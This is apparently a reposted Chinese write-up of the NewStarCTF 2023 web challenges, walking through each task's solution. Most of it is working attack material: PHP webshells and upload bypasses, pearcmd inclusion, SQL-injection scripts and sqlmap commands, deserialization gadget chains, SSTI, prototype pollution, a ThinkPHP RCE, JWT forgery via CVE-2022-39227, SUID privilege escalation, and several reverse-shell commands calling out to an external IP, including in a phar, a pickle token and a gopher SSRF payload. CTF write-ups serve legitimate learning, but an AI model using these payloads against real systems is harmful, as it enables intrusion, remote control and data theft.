0


NewStarCTF 2023 公开赛道 Web

NewStarCTF 2023 公开赛道 Web

WEEK1|WEB

泄漏的秘密

泄露的秘密,直接看常见的目录robots.txt,www.zip直接那道两段flag

也可以用dirsearch工具扫描,但是BUUOJ平台的网站只能开底线程,不然全是429

PART ONE: flag{r0bots_1s_s0_us3ful
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

上传一个a.png的文件,这个网站只有前端进行了验证,后端没有验证,直接改文件名绕过就行了

马的内容:

<?php eval($_GET['1']); ?>

http://fbefab32-f23f-4f53-821c-128740badc63.node4.buuoj.cn:81/upload/a.php?1=system(%27cat%20/fllll4g%27);

flag{633c24ea-5073-4a09-a505-286895382fa5}

Begin of HTTP

考的http协议相关请求头的知识

GET /?ctf=1
POST secret=n3wst4rCTF2023g00000d
User-Agent: NewStarCTF2023
Cookie: power=ctfer
X-Real-IP: 127.0.0.1

flag{a3ca8c6d-1854-45fb-9ea5-1da1e1fecdc2}

ErrorFlask

python的网站开启了debug模式,我们给number1,number2传入字符即可产生报错,直接找debug信息里面找flag

Begin of PHP

这个直接用数组全部绕过了

http://899e8510-bdc3-4be6-abac-16684c097bbc.node4.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=1&key5[]=132123

key3[]=1&flag5=+

这里有一个extract($_POST);函数,这个函数是进行变量覆盖的作用

extract函数:

https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/

flag{dcb78c60-38b4-4328-b191-f95faadac253}

WEEK2|WEB

R!C!E!

第一直接脚本爆破

找到数字为114514

import hashlib
target_string ='c4d038'defmd5_last5(string):# 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()# 截取前面6位字符
    last_5 = md5_hash[:6]# md_hash[-6:]是后6位return last_5
# 114514for j inrange(1,9999999999):
    i =str(j)print(md5_last5(i))if(md5_last5(i)==target_string):print(i)break

直接亦或无参数绕过

password=114514&e[v.a.l=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

PHP变量流量层面WAF绕过

PHP 7.3.4 在FPM模式下运行:

变量名和值会进行url解码:

以解析$_GET变量为例,大致流程为:获取请求字符串-->获取分割符&-->使用=分割key和value。
在解析key和value时,会分别对其进行url解码,关键代码如下:
if(val){/* have a value */size_t val_len;size_t new_val_len;*val++='\0';// 对key进行url解码php_url_decode(var,strlen(var));// 对value进行url解码
            val_len =php_url_decode(val,strlen(val));
            val =estrndup(val, val_len);if(sapi_module.input_filter(arg, var,&val, val_len,&new_val_len)){php_register_variable_safe(var, val, new_val_len,&array);}efree(val);}

变量名截断:

我们知道00在C语言中意味着字符串的结尾,其编码为%00。
在对key进行url解码之后,%00转换为00而截断了key字符串。
但是对value进行url解码的时候,获取了其返回值val_len,即字符串长度,后续注册变量时,也是使用val_len进行内存中的操作,所以未能截断value的值

变量名之前的空格会被忽略

URL 不能包含空格。URL 编码通常使用 + 来替换空格
使用%20替换空格
在注册变量时,PHP会对变量名进行判断,丢弃变量名前的空格,关键代码如下:
while (*var_name==' ') {
        var_name++;
    }

**变量名的空格和

.

会转化为

_

:**

首先明确一个问题,PHP的变量名中是不能包含点号的。 但是为了处理表单中的点号命名,PHP就会自动把点号.转换成下划线_。
这个转换的过程也是发生在PHP变量的注册过程中,关键代码如下:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
    for (p = var; *p; p++) {
        if (*p == ' ' || *p == '.') {
            *p='_';
        } else if (*p == '[') {
            is_array = 1;
            ip = p;
            *p = 0;
            break;
        }
    }

**变量名的

[

会转换为

_

:**

这个转换过程与.的转换过程不同。PHP在遇到[符号时,会认为变量为数组。后续进行数组处理时,如果未能找到与[匹配的],则会将[替换为.。关键代码如下:
ip = strchr(ip, ']');
        if (!ip) {
            /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
            *(index_s - 1) = '_';

            index_len = 0;
            if (index) {
                index_len = strlen(index);
            }
            goto plain_var;
            return;
        }

Z1d10t师傅浇我的:

https://www.z1d10t.fun/post/8bc42760.html?highlight=%E4%B8%8B%E5%88%92%E7%BA%BF

只有第一个字符为[时 后面的非法字符才不会被转为下划线

在这里还剽窃到一个新姿势:

读文件可以用more来绕过

还有一种通配符是

[]

可以匹配指定范围中的任意字符 那么 f和g就可以用

[e-h]

来绕过

a是字母表第一个,该怎么绕过呢,我们可以构造

[非数字]

形式:

[^0-9]

这里尖括号就是排除匹配范围,这也就可以包含所有字母 来达到获取a的效果了

md5碰撞:

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

flag{c8a0f34a-c88f-4879-ae81-64c8fcaece2a}

Unserialize?

这个简单的php,绕过正则就行,找不到wp了,这题绕过方法应该挺多的

EasyLogin

用弱口令直接爆密码为000000,然后抓重定向302的包就可以拿到flag了

flag{961a0630-c1b9-41b8-b330-248674981617}

游戏高手

游戏高手这题简单,直接查找源码,然后修改分数就行

ez_sql

这题一分钟sql注入直接跑

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 --dbs

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T --clomns

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -tables
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --clomns
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --columns
 
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag -C "flag" --dump

Upload again!

这个是appache服务器,这题上传.htaccess配置文件就可以了,把站下面所有的文件解析为php

然后上传一个图片就ok了

GIF89a
<script language='php'>eval($_REQUEST[1]);</script>

WEEK3|WEB

Include 🍐

考点pearcmd

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/test.php

用BP打包,用BP发包,用BP发包!!

Hackbar和url都会自动的进行一次url编码

?file=/tmp/test

直接拿shell了

R!!!C!!!E!!!

此题利用\来转义绕过,然后通过管道符把读取的内容写在根目录下,然后我们直接访问写到根目录下的文件就行

<?phphighlight_file(__FILE__);classBegin{public$name;publicfunction__destruct(){if(preg_match("/[a-zA-Z0-9]/",$this->name)){echo"Hello";}else{echo"Welcome to NewStarCTF 2023!";}}}classThen{private$func;publicfunction__toString(){($this->func)();return"Good Job!";}}classHandle{protected$obj;publicfunction__call($func,$vars){$this->obj->end();}}classSuper{protected$obj;publicfunction__invoke(){$this->obj->getStr();}publicfunctionend(){die("==GAME OVER==");}}classCTF{public$handle;publicfunctionend(){unset($this->handle->log);}}classWhiteGod{public$func;public$var;publicfunction__unset($var){($this->func)($this->var);}}$a=newminipop;$a->qwejaskdjnlka=newminipop;$a->qwejaskdjnlka->code="cat /flag_is_h3eeere|te\\e /var/www/html/2";echoserialize($a);

POP Gadget

pop链子:

<?phpclassBegin{public$name;}classThen{private$func;publicfunction__construct(){$this->func=newSuper();}}classHandle{protected$obj;publicfunction__construct(){$this->obj=newCTF();}}classSuper{protected$obj;publicfunction__construct(){$this->obj=newHandle();}}classCTF{public$handle;publicfunction__construct(){$this->handle=newWhiteGod();}}classWhiteGod{public$func='system';public$var='cat /flag';}$a=newBegin();$a->name=newThen();echourlencode(serialize($a));

medium_sql

写的二分盲注脚本:

import requests
import time
url ='http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/'
result=''for i inrange(1,50):
    low=31
    high=127
    mid =(low+high)//2while low<=high:
        paylaod ="TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23".format(i,mid)#爆库爆数据语句差不多 关键字被ban大写绕过就行
        r = requests.get(url+"?id="+paylaod)if("English"in r.text):
            low = mid+1
            mid =(low+high)//2else:
            high = mid-1
            mid =(low+high)//2
    result+=chr(high+1)
    time.sleep(0.3)print(result)

GenShin

不太会ssti,喜欢当脚本小子

docker run --nethost-it marven11/fenjing webui 

在这里插入图片描述

payload:

{'name': '{%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}'},表单为{'action': '/secr3tofpop', 'method': 'GET', 'inputs': {'name'}}

OtenkiGirl

这题看到有一个原型链污染的路由/submit

看到这里有个提示

Remove test data from before the movie was released
删除测试之前的数据

所以我们的flag可能就在我们之前的时间里面,所以我们构造payload污染时间即可

这题关键信息在这,我们可以看到,查询语句这里最后where主要的判断是 timestamp>=所以,我们只需要改变timestamp的值即可,看上下文,如果我们想要改变这个值的话,我们需要污染min_public_time时间尽量小

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

然后我们直接上payload打就行

{
   "date":"1",
   "place":"1",
   "contact":"1",
    "reason":"1",
    "timestamp":1698317269591,
    "__proto__":{
    "min_public_time":"2019-07-09"}
}

在这里插入图片描述

这题主要需要仔细,需要你明白整个程序的逻辑,明白出题人想让你污染什么,

Week4|WEB

考点:

php反序列化字符串逃逸

经典反序列化逃逸

/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

直接打就行

More Fast

考点:

1.GC回收机制

考了一个GUCI回收机制,直接秒了

<?php
highlight_file(__FILE__);classStart{public$errMsg;publicfunction__destruct(){die($this->errMsg);}}classPwn{public$obj;publicfunction__invoke(){$this->obj->evil();}publicfunctionevil(){phpinfo();//}}classReverse{public$func;publicfunction__get($var){($this->func)();//}}classWeb{public$func;public$var;publicfunctionevil(){if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);//}else{echo"Not Flag";}}}classCrypto{public$obj;publicfunction__toString(){$wel=$this->obj->good;//return"NewStar";}}classMisc{publicfunctionevil(){echo"good job but nothing";}}//$c = @unserialize($_POST['fast']);//throw new Exception("Nope");$a=newStart;$a->errMsg=newCrypto;$a->errMsg->obj=newReverse;$a->errMsg->obj->func=newPwn;$a->errMsg->obj->func->obj=newWeb;$a->errMsg->obj->func->obj->func= system;$a->errMsg->obj->func->obj->var="cat /f*";$b=array($a,NULL);echoserialize($b);

PharOne

这题是phar反序列化

fopen()unlink()stat()fstat()fseek()rename()opendir()rmdir()mkdir()file_put_contents()file_get_contents()file_exists()fileinode()include()require()include_oncerequire_once()filemtime()fileowner()fileperms()filesize()is_dir()scandir()rmdir()highlight_file()//外加一个类newDirectoryIteartor()

这些函数都能触发phar反序列化

源码分析发现有个unlink函数

<?php
highlight_file(__FILE__);classFlag{public$cmd;publicfunction__destruct(){
        @exec($this->cmd);}}
@unlink($_POST['file']);

写脚本生成phar包

<?phpclassFlag{public$cmd;}$a=newFlag();$a->cmd="bash -c 'sh -i &>/dev/tcp/36.139.110.159/7777 0>&1'";$phar=newPhar('1.phar');# 生成的phar$phar->stopBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');# $phar->setMetadata($a);# 写入反序列化的内容$phar->addFromString('1.txt','1');# 添加压缩的内容$phar->stopBuffering();# 计算标签?>

然后发现过滤了__HALT_COMPILER

用gzip命令绕过过滤就行

gzip1.phar

然后还对文件头进行了限定文件后缀,改文件后缀即可

file=phar://upload/26a529ffa3ed210b7fa7c584a7ee4c33.png/1.phar

反弹shell成功,结束

flask disk

考点:

1.文件上传导致覆盖getshell

直接上传一个app.py文件,直接弹shell

因为上传app.py会覆盖之前的文件,所以我们就可以getshell了

后面预期解法看到了file.save会覆盖已存在的文件

import os

os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)@app.route('/',methods=['GET'])defindex():return'<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'@app.route('/list',methods=['GET'])deflist():
    dirs = os.listdir('.')
    items =''fordirin dirs:if os.path.isfile(dir):
            create_time =int(os.path.getctime(dir))
            create_time = datetime.datetime.fromtimestamp(create_time)
            item =f'</pre>{dir}{str(os.path.getsize(dir))}b  {create_time}</pre><br><br>'
            items += item
            items +='\n'return items

@app.route('/upload',methods=['GET','POST'])defupload():if request.method =='GET':
        s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'return s
    elif request.method =='POST':file= request.files['file']if'..'infile.filename or'/'infile.filename:return'.. and / are not allowed!'file.save(file.filename)return'upload success. <a href="/list">check</a>'@app.route('/download',methods=['GET','POST'])defdownload():
    filename = request.args.get('filename')if filename and os.path.exists(filename):if'..'in filename or'/'in filename:return'.. and / are not allowed!'return send_file(filename,as_attachment=True)else:return'no file to download or file not exist'if __name__=='__main__':
    app.run(host='0.0.0.0',debug=True,port=5000)

下载出来的源码

midsql

这题延时严重

import requests
# from tqdm import trange
res =''
last =' '
headers ={'Host':'1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81','Cache-Control':'max-age=0','Upgrade-Insecure-Requests':'1','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Referer':'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81','Accept-Encoding':'gzip, deflate','Accept-Language':'zh-CN,zh;q=0.9'}for i inrange(1,1000):for j inrange(127,31,-1):
        url =r'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81/?id='# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload =rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)try:
            response = requests.get(url=url, timeout=4)except Exception as e:
            last = res
            # print(chr(j+1))
            res +=chr(j+1)# print(res)breakprint('[*] '+ res)

Week5|WEB

Unserialize Again

非预期解法:

这题应该是被非预期了,直接根目录下写🐎就行了

/pairing.php?pear=/var/www/html/a.php&apple=<?php eval($_POST[1]);?>

猜测预期解是打phar吧

预期解法:

pppython?

考点:

1.计算pin🐎

2.ssrf

3.利用pin🐎算cookie

第一步发现有个ssrf接口,先绕过前面几步

这题用到一个技巧是手算cookie

计算pin🐎还是哪些老步骤了

我这里用的是工具来计算的cookie

在这里插入图片描述

在这里插入图片描述

得用gopher协议来打,实现rce,脚本:

import urllib.parse
import urllib.request

cmd ='whoami'
s ="KsDz7oqmCrFx5nOp8vKz"
host ="127.0.0.1:1314"# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin ="113-575-700"
poc =f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A','%0D%0A')
res =f'gopher://{host}/_'+ new_poc
print(urllib.parse.quote(res))

最终的payload:

/?url=gopher%3A//127.0.0.1%3A1314/_GET%2520/console%253F%2526__debugger__%253Dyes%2526cmd%253D__import__%2528%252522os%252522%2529.popen%2528%252522bash%252520-c%252520%25255C%252522bash%252520-i%252520%25253E%252526%252520%25252Fdev%25252Ftcp%25252F36.139.110.159%25252F7777%252520%25253C%2525261%25255C%252522%252522%2529%2526frm%253D0%2526s%253DZinxRVqfynmCiJZQaF9j%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A1314%250D%250AConnection%253A%2520close%250D%250ACookie%253A%2520__wzd734478c6106a1a37ad92%253D1698655413%257Caa64bc59c8d3%250D%250A&lolita[]=1

Ye’s Pickle

这题看了看源码,随机数比较大不能爆破,开了debug报错源码中看到了secret不知道有什么用

参考链接:

https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py

https://blog.csdn.net/your_friends/article/details/127832505 (webfun CVE-2022-39227)

考点:

1.pickle反序列化

2.CVE-2022-39227

from datetime import timedelta
from json import loads, dumps
# from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):""" Use mix of JSON and compact format to insert forged claims including long expiration """[header, payload, signature]= topic.split('.')
    parsed_payload =loads(base64url_decode(payload))print(parsed_payload)
    parsed_payload['role']="admin"print(parsed_payload)
    fake_payload =base64url_encode((dumps(parsed_payload, separators=(',',':'))))print(header+'.'+fake_payload+'.'+signature)# print (header+ '.' + payload+ '.' +signature)
    a = header+'.'+fake_payload+'.'+signature

    # print(q)return'{"  '+ header +'.'+ fake_payload +'.":"","protected":"'+ header +'", "payload":"'+ payload +'","signature":"'+ signature +'"}'

originaltoken ='''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NjQ0NzYsImlhdCI6MTY5ODc2MDg3NiwianRpIjoiWUN1WXdmLWFFSFVhNmNRWnlkclRFdyIsIm5iZiI6MTY5ODc2MDg3Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.aYoTc0VuYSWMrV3qYyVY0rIODjBUTGwcNxun4s6Hx5lbhl0IqrT7LJm9ORJe6bDLO9rdtu2W6yBMVTay9LOM6BojGekMAL4CNZrGYKpg0twIYz9ptCp83y-1lfh6Dwoa_JY27jEQUlSNWBsJqJ-0USKhJ4OCReR1OtPwxFPAZRAuzBFzRh93pr9ePt663upc38rorgx6njKcEwzQmBoHICEak3wOJNSBykEsKAQ6-cf44y_9GsKPTBe4PzQR2ba6Q6HiKjRwHMP3q-mrxBIttQqPqhtiKOxzZgzt3BBFCDrrS5neRseQC_b5Og6s2e2hWNnCI0C-BvE0j5Djjd1Cnw'''
topic =topic(originaltoken)print(topic)

伪造jwt成功,用这个session直接打pickle反序列化,后面的反序列化就简单了

在这里插入图片描述

/?token=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICdzaCAtaSAmPi9kZXYvdGNwLzM2LjEzOS4xMTAuMTU5Lzc3NzcgMD4mMScnCm8u

直接服务器上拿flag就结束了

Final

Thinkphp 5.0.23框架的一个远程rce漏洞

/index.php?s=captcha&test=-1

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

出现配置文件,存在远程rce漏洞,disable_function只禁用了system函数

1/index.php?s=captcha

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo-n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKTsgPz5iYg==|base64-d > index.php

改一改payload写一句话木马上传,发现没有权限可以读flag。

我们就在上传一个反弹shell的文件上去,访问它就可以反弹shell了

bash-c'sh -i &>/dev/tcp/36.xxx.xxx.159/7777 0>&1'

反弹shell成功,然后发现没有权限读文件

find / -user root -perm-4000-print2>/dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
## 来到根目录下cp ./flag_dd3f6380aa0d /etc/passwd
cat /etc/passwd
flag{abc80326-d717-4013-b22c-1d705360a6b3}

在这里插入图片描述

NextDrive

逻辑漏洞

看hint了解秒传的原理:

在这里插入图片描述
发现test.res.http文件里面有返回包,没有响应包(而且有个标签好像是Yours,太懒了不重新打开看了),于是我们想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可,发现里面有token和uid进行身份伪造

看share.js文件

const Router =require("koa-router");const router =newRouter();constCONFIG=require("../../runtime.config.json");const Res =require("../../components/utils/response");const FileSignUtil =require("../../components/utils/file-signature");const{ DriveUtil }=require("../../components/utils/database.utilities");const fs =require("fs");const path =require("path");const{ verifySession }=require("../../components/utils/session");const logger = global.logger;/**
 * @deprecated
 * ! FIXME: 发现漏洞,请进行修改
 */
router.get("/s/:hashfn",async(ctx, next)=>{const hash_fn =String(ctx.params.hashfn ||'')const hash = hash_fn.slice(0,64)const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

    // 参数校验if(typeof hash_fn !=="string"||typeof from_uid !=="string"){// invalid params or query
        ctx.set("X-Error-Reason","Invalid Params");
        ctx.status =400;// Bad Requestreturn ctx.res.end();}// 是否为共享的文件letIS_FILE_EXIST=await DriveUtil.isShareFileExist(hash, from_uid)if(!IS_FILE_EXIST){
        ctx.set("X-Error-Reason","File Not Found");
        ctx.status =404;// Not Foundreturn ctx.res.end();}// 系统中是否存储有该文件letIS_FILE_EXIST_IN_STORAGEtry{IS_FILE_EXIST_IN_STORAGE= fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))}catch(e){
        ctx.set("X-Error-Reason","Internal Server Error");
        ctx.status =500;// Internal Server Errorreturn ctx.res.end();}if(!IS_FILE_EXIST_IN_STORAGE){
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason","Internal Server Error");
        ctx.status =500;// Internal Server Errorreturn ctx.res.end();}// 文件名处理let filename =typeof custom_fn ==="string"? custom_fn :(await DriveUtil.getFilename(from_uid, hash));
    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi,"_")// 发送
    ctx.set("Content-Disposition",`attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e=>{
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status =500;// Internal Server Errorreturn ctx.res.end();})})

module.exports = router;

看来share.js文件,只需绕过前面的几个判断就行,然后目录穿越,再控制fn=/proc/self/environ就行

最终payload:

/s/98d69972f5fa8ac77185170ec3128ea18fbd5be187e88596bbd321fbd65b79f0/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ 

4-复盘

为了做这题我首先去做了

MISC:

week2-1-序章

手撸flag(ex

you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

在这里插入图片描述

然后我以为可能和sql注入相关,然后写了一共烂的脚本,发现注入不出来,我测试了sql语句发现不行,看了源码中的sql.ini(疑惑

在这里插入图片描述

这个flag应该不对,重新看index.php,发现有个文件包含函数可以用,直接打pearcmd写shell到根目录下

/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_GET[1])?>+/var/www/html/a.php

读flag发现不行,没有权限,弹shell进行suid提权

find / -user root -perm-4000-print2>/dev/nul
## 没找到有suid权限的命令,然后到/bin目录下一个个看,发现有gzip
-rwsr-xr-x 1 root root     59976 Jun 172021passwd
-rwsr-xr-x 1 root root     55680 Oct 272021su
-rwsr-xr-x 1 root root     93424 Oct  72021 gzip可以用,回到根目录
gzip-g flag -t

本题就结束了

在这里插入图片描述

标签: web安全

本文转载自: https://blog.csdn.net/m0_73728268/article/details/134200635
版权归原作者 Harder. 所有, 如有侵权,请联系我们删除。

“NewStarCTF 2023 公开赛道 Web”的评论:

还没有评论